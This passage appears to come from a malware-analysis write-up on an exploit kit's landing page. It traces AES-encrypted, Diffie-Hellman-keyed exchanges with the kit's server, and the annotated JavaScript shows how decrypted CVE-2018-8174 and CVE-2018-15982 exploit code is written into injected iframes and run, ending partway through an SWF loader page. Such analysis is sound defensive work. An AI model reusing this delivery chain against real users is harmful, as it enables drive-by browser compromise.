<p>POST response data is encrypted with AES. The keys and IV are the same as before, and the hard-coded values (<code class="language-plaintext highlighter-rouge">8b69cbdfc5fe43e69b7920c8ee721fc9</code> and <code class="language-plaintext highlighter-rouge">301ae8205ddcd5897df69e3b0c056c34</code>) are hard-coded in the JavaScript code. Jsonify is performed because the JSON data can be obtained by decoding. The decoded JSON data looks like this.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"IlI1l"</span><span class="p">:</span><span class="s2">"9b412e5c651d73fd1e271dd63f6901a0"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"I1111"</span><span class="p">:</span><span class="s2">"r+sZGwxURs48PDt8pilYLNYjKbVrMHSmlgv0jeEE7qd8KN+KbbqRpYBUUrEFfM5VSLfRPthHQmyzFoY7fuCtOQQ9vUiMBC+3</span><span class="se">\/</span><span class="s2">pL…"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Decode the second data using the first (32-character hexadecimal string) of this data. The first data is called str_F. Also, decoding is done with AES, but the key and IV are different from before.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">lIlll1IIlI</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nx">l1I1l1</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlll1IIlI</span><span class="dl">'</span><span class="p">],</span> <span class="mi">16</span><span class="p">);</span>    <span class="c1">// str_F</span>

<span class="c1">// key (str_G) =&gt; str_F.modPow(str_C, str_D)</span>
<span class="kd">var</span> <span class="nx">llIIlI</span> <span class="o">=</span> <span class="nx">lIlll1IIlI</span><span class="p">[</span><span class="dl">'</span><span class="s1">ll11IIl</span><span class="dl">'</span><span class="p">](</span><span class="nx">ll1l1IlIIIll</span><span class="p">,</span> <span class="nx">lll1II</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">I1Il1I1</span> <span class="o">=</span> <span class="nx">llIIlI</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">IIIIlI1IllII</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">-</span> <span class="nx">I1Il1I1</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="nx">IIIIlI1IllII</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">I1Il1I1</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">I1Il1I1</span><span class="p">;</span>
    <span class="nx">IIIIlI1IllII</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">II1ll</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1lI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">ll1llI1</span><span class="dl">'</span><span class="p">](</span><span class="nx">I1Il1I1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">lI1lIl1Ill</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1lI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">ll1llI1</span><span class="dl">'</span><span class="p">](</span><span class="nx">l1ll1</span><span class="p">);</span>

<span class="c1">// aes_decrypt(enc_data, key, iv)</span>
<span class="kd">var</span> <span class="nx">Il11lII1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">l11II11l</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">l1I1l1</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIl1IIl11</span><span class="dl">'</span><span class="p">],</span>          <span class="c1">// enc_data</span>
    <span class="nx">II1ll</span><span class="p">,</span>                          <span class="c1">// str_G</span>
    <span class="p">{</span> <span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nx">lI1lIl1Ill</span> <span class="p">}</span>      <span class="c1">// iv =&gt; str_A</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The values generated by str_F, str_C and str_D are called str_G. Thus, str_C is required to decode the data, but str_C has not been sent to the server. By looking at the traffic data, you can see str_E and str_G created by str_C, but it is impossible to find str_C. Please see Wikipedia for details.</p>
<ul>
  <li><a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie–Hellman key exchange - Wikipedia</a></li>
</ul>

<p>The data thus decoded is executed as JavsScript.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// eval</span>
<span class="nx">II1Il</span><span class="p">[</span><span class="dl">'</span><span class="s1">ll1I1</span><span class="dl">'</span><span class="p">]();</span>
</code></pre></div></div>

<p>Let’s look at the executed code. First, the URL used next is decoded. The key and IV used at this time are hard-coded initial values.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// aes_decrypt(enc_url, key, iv)</span>
<span class="kd">var</span> <span class="nx">l11l1I1</span> <span class="o">=</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">lI11lIl</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">l11II11l</span><span class="dl">"</span><span class="p">](</span>
    <span class="dl">"</span><span class="s2">l9kie2x7t4Iq4hRNA3G3Juz+buSrv9OSyATsAvZRjsoWkjatAa3Am6oRnar5jjv2N8XFpvDYQbKswFbyKiGPXM/eRwj5+hz4hg+dTKr5BLk=</span><span class="dl">"</span><span class="p">,</span>
    <span class="nx">III1l1</span><span class="p">,</span>
    <span class="p">{</span> <span class="na">lI1lIl1Ill</span><span class="p">:</span><span class="nx">II1ll11I</span> <span class="p">}</span>
<span class="p">)[</span><span class="dl">"</span><span class="s2">lIlIlll11l</span><span class="dl">"</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">IIIlI</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">Il11I1II</span><span class="dl">"</span><span class="p">]);</span>
</code></pre></div></div>

<p>Then, as before, the function is called. Let’s look at the function. First, define the necessary data for encryption/decryption as before. Give each one a name as before.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// str_A2</span>
<span class="kd">var</span> <span class="nx">l1ll1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">]();</span>
<span class="c1">// str_B2</span>
<span class="kd">var</span> <span class="nx">lIlII11</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span><span class="mi">16</span><span class="p">);</span>
<span class="c1">// str_C2</span>
<span class="kd">var</span> <span class="nx">ll1l1IlIIIll</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span><span class="mi">16</span><span class="p">);</span>
<span class="c1">// str_D2</span>
<span class="kd">var</span> <span class="nx">lll1II</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span><span class="mi">16</span><span class="p">);</span>

<span class="c1">// str_E2 =&gt; str_B2.powMod(str_C2, str_D2)</span>
<span class="kd">var</span> <span class="nx">l11IlIl</span> <span class="o">=</span> <span class="nx">lIlII11</span><span class="p">[</span><span class="dl">'</span><span class="s1">ll11IIl</span><span class="dl">'</span><span class="p">](</span><span class="nx">ll1l1IlIIIll</span><span class="p">,</span><span class="nx">lll1II</span><span class="p">);</span>
</code></pre></div></div>

<p>Next, prepare the data to send as a POST request. Unlike before, Adobe Flash Player version information is also sent.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">l11IlIIlllll</span> <span class="o">=</span> <span class="p">{};</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlII11</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">lIlII11</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>    <span class="c1">// str_B2</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lll1II</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">lll1II</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>      <span class="c1">// str_D2</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">l11IlIl</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">l11IlIl</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>    <span class="c1">// str_E2</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lI1lIl1Ill</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">l1ll1</span><span class="p">;</span>                     <span class="c1">// str_A2</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1l1IlI</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">@@</span><span class="dl">'</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1l1IlI</span><span class="dl">'</span><span class="p">]();</span>          <span class="c1">// browser check data</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l111I</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l111I</span><span class="dl">'</span><span class="p">];</span>            <span class="c1">// Adobe Flash Player version check data</span>
</code></pre></div></div>

<p>The sending process is the same as the previous one. The key and IV used in this case are also initial values.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">I1l1I1</span><span class="dl">'</span><span class="p">](</span><span class="nx">Il1I11l</span><span class="p">,</span><span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span><span class="nx">l11l1I1</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span>

<span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1lllIIlI</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">Il1I11l</span><span class="p">,</span>
    <span class="c1">// aes_encrypt</span>
    <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Ill1lI1Ill</span><span class="dl">'</span><span class="p">](</span>
        <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">IIII1Il</span><span class="dl">'</span><span class="p">](</span><span class="nx">l11IlIIlllll</span><span class="p">),</span>    <span class="c1">// POST Data</span>
        <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">III1l1</span><span class="dl">'</span><span class="p">],</span>                   <span class="c1">// key</span>
        <span class="p">{</span><span class="na">lI1lIl1Ill</span><span class="p">:</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1ll11I</span><span class="dl">'</span><span class="p">]}</span>     <span class="c1">// iv</span>
    <span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">]()</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Thus, <code class="language-plaintext highlighter-rouge">onreadystatechange</code> is called as well. Here too, the decoding process is performed as before. First, decode POST response data with the same key and IV as before.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// aes_decrypt(enc_data, key, iv)</span>
<span class="kd">var</span> <span class="nx">lIlIl1IIl11</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">l11II11l</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">Il1I11l</span><span class="p">[</span><span class="dl">'</span><span class="s1">responseText</span><span class="dl">'</span><span class="p">],</span>                <span class="c1">// enc_data</span>
    <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">III1l1</span><span class="dl">'</span><span class="p">],</span>                       <span class="c1">// key</span>
    <span class="p">{</span><span class="na">lI1lIl1Ill</span><span class="p">:</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1ll11I</span><span class="dl">'</span><span class="p">]}</span>         <span class="c1">// iv</span>
<span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Il11I1II</span><span class="dl">'</span><span class="p">]);</span>
</code></pre></div></div>

<p>When jsonify the decoded result, three data are included like this. The first 32-character hexadecimal string is called str_F2.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"lIlll1IIlI"</span><span class="p">:</span><span class="w"> </span><span class="s2">"87e087b48d4b06215f486021f23f5470"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"lIIIIllIl1"</span><span class="p">:</span><span class="w"> </span><span class="s2">"oUeRtTwLk9lLYqMwZC3AM49H8HDw15IqymZ0W</span><span class="se">\/</span><span class="s2">vw87Vd9RtdXhps9ZppZc</span><span class="se">\/</span><span class="s2">INO01Bqk79BOMS9ykHCDPE</span><span class="se">\/\/</span><span class="s2">kWCHQuuh0</span><span class="se">\/</span><span class="s2">rr…"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"II11lIl11"</span><span class="p">:</span><span class="w"> </span><span class="s2">"88HY4nkc9TWmnRPi</span><span class="se">\/</span><span class="s2">hEPmk8ZCTJ5tIwItosOTmqFjUBFxCXfoXdMKas+TeKLUbdwsXAhvGa35wNmMnajdPzt1huWerzwnhoGcFP…"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Decrypt these data. Thus two data are decoded.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">lIlll1IIlI</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nx">l1I1l1</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlll1IIlI</span><span class="dl">'</span><span class="p">],</span><span class="mi">16</span><span class="p">);</span>

<span class="c1">// str_G2 =&gt; str_F2.modPow(str_C2, str_D2)</span>
<span class="kd">var</span> <span class="nx">llIIlI</span> <span class="o">=</span> <span class="nx">lIlll1IIlI</span><span class="p">[</span><span class="dl">'</span><span class="s1">ll11IIl</span><span class="dl">'</span><span class="p">](</span><span class="nx">ll1l1IlIIIll</span><span class="p">,</span><span class="nx">lll1II</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">I1Il1I1</span> <span class="o">=</span> <span class="nx">llIIlI</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">IIIIlI1IllII</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">-</span> <span class="nx">I1Il1I1</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="nx">IIIIlI1IllII</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">I1Il1I1</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="o">+</span><span class="nx">I1Il1I1</span><span class="p">;</span>
    <span class="nx">IIIIlI1IllII</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">II1ll</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1lI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">ll1llI1</span><span class="dl">'</span><span class="p">](</span><span class="nx">I1Il1I1</span><span class="p">);</span>       <span class="c1">// str_G2</span>
<span class="kd">var</span> <span class="nx">lI1lIl1Ill</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1lI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">ll1llI1</span><span class="dl">'</span><span class="p">](</span><span class="nx">l1ll1</span><span class="p">);</span>    <span class="c1">// str_A2</span>

<span class="c1">// aes_decrypt()</span>
<span class="kd">var</span> <span class="nx">I1II111I1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">l11II11l</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">l1I1l1</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIIIIllIl1</span><span class="dl">'</span><span class="p">],</span>       <span class="c1">// enc_data_1</span>
    <span class="nx">II1ll</span><span class="p">,</span>                      <span class="c1">// str_G2</span>
    <span class="p">{</span><span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nx">lI1lIl1Ill</span><span class="p">}</span>    <span class="c1">// str_A2</span>
<span class="p">);</span>

<span class="kd">var</span> <span class="nx">IIIIl</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">l11II11l</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">l1I1l1</span><span class="p">[</span><span class="dl">'</span><span class="s1">II11lIl11</span><span class="dl">'</span><span class="p">],</span>        <span class="c1">// enc_data_2</span>
    <span class="nx">II1ll</span><span class="p">,</span>                      <span class="c1">// str_G2</span>
    <span class="p">{</span><span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nx">lI1lIl1Ill</span><span class="p">}</span>    <span class="c1">// str_A2</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The data thus decoded is written to Body and executed. The decoded data is the CVE-2018-8174 exploit code and the CVE-2018-15982 exploit code for reading swf loader.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="nx">IlIII1lll</span><span class="p">[</span><span class="dl">'</span><span class="s1">length</span><span class="dl">'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">var</span> <span class="nx">IIlIl</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">createElement</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">iframe</span><span class="dl">"</span><span class="p">);</span>
	<span class="nx">IIlIl</span><span class="p">[</span><span class="dl">'</span><span class="s1">setAttribute</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">IlIlll1I1</span><span class="dl">"</span><span class="p">);</span>
	<span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">getElementsByTagName</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">BODY</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">IIlIl</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">I11I11IIlIII</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">getElementById</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">IlIlll1I1</span><span class="dl">"</span><span class="p">)[</span><span class="dl">'</span><span class="s1">contentWindow</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">];</span>
	<span class="nx">I11I11IIlIII</span><span class="p">[</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">]();</span>
	<span class="nx">I11I11IIlIII</span><span class="p">[</span><span class="dl">'</span><span class="s1">write</span><span class="dl">'</span><span class="p">](</span><span class="nx">IlIII1lll</span><span class="p">);</span>
	<span class="nx">I11I11IIlIII</span><span class="p">[</span><span class="dl">'</span><span class="s1">close</span><span class="dl">'</span><span class="p">]();</span>
<span class="p">}</span>

<span class="k">if</span><span class="p">(</span><span class="nx">lIl1l1I</span><span class="p">[</span><span class="dl">'</span><span class="s1">length</span><span class="dl">'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">l1III11</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">createElement</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">iframe</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">l1III11</span><span class="p">[</span><span class="dl">'</span><span class="s1">setAttribute</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">lII1I1IlI1I</span><span class="dl">"</span><span class="p">);</span>
    <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">getElementsByTagName</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">BODY</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">l1III11</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">llIll1lI</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">getElementById</span><span class="dl">'</span><span class="p">](</span><span class="dl">"</span><span class="s2">lII1I1IlI1I</span><span class="dl">"</span><span class="p">)[</span><span class="dl">'</span><span class="s1">contentWindow</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">document</span><span class="dl">'</span><span class="p">];</span>
    <span class="nx">llIll1lI</span><span class="p">[</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">]();</span>
    <span class="nx">llIll1lI</span><span class="p">[</span><span class="dl">'</span><span class="s1">write</span><span class="dl">'</span><span class="p">](</span><span class="nx">lIl1l1I</span><span class="p">);</span>
    <span class="nx">llIll1lI</span><span class="p">[</span><span class="dl">'</span><span class="s1">close</span><span class="dl">'</span><span class="p">]();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For swf loader, the following code is executed.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"x-ua-compatible"</span> <span class="na">content=</span><span class="s">"IE=10"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"BnjJbx"</span><span class="nt">&gt;&lt;object</span> <span class="na">classid=</span><span class="s">"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"</span> <span class="na">width=</span><span class="s">"205"</span> <span class="na">height=</span><span class="s">"528"</span> <span class="na">id=</span><span class="s">"BnjJbx"</span> <span class="na">align=</span><span class="s">"middle"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"movie"</span> <span class="na">value=</span><span class="s">"/24_02_1964/05_04_1933/3410-Skegger-12666"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"quality"</span> <span class="na">value=</span><span class="s">"high"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"bgcolor"</span> <span class="na">value=</span><span class="s">"#ffffff"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"play"</span> <span class="na">value=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"loop"</span> <span class="na">value=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"wmode"</span> <span class="na">value=</span><span class="s">"window"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"scale"</span> <span class="na">value=</span><span class="s">"showall"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"menu"</span> <span class="na">value=</span><span class="s">"false"</span> <span class="nt">/&gt;</span>
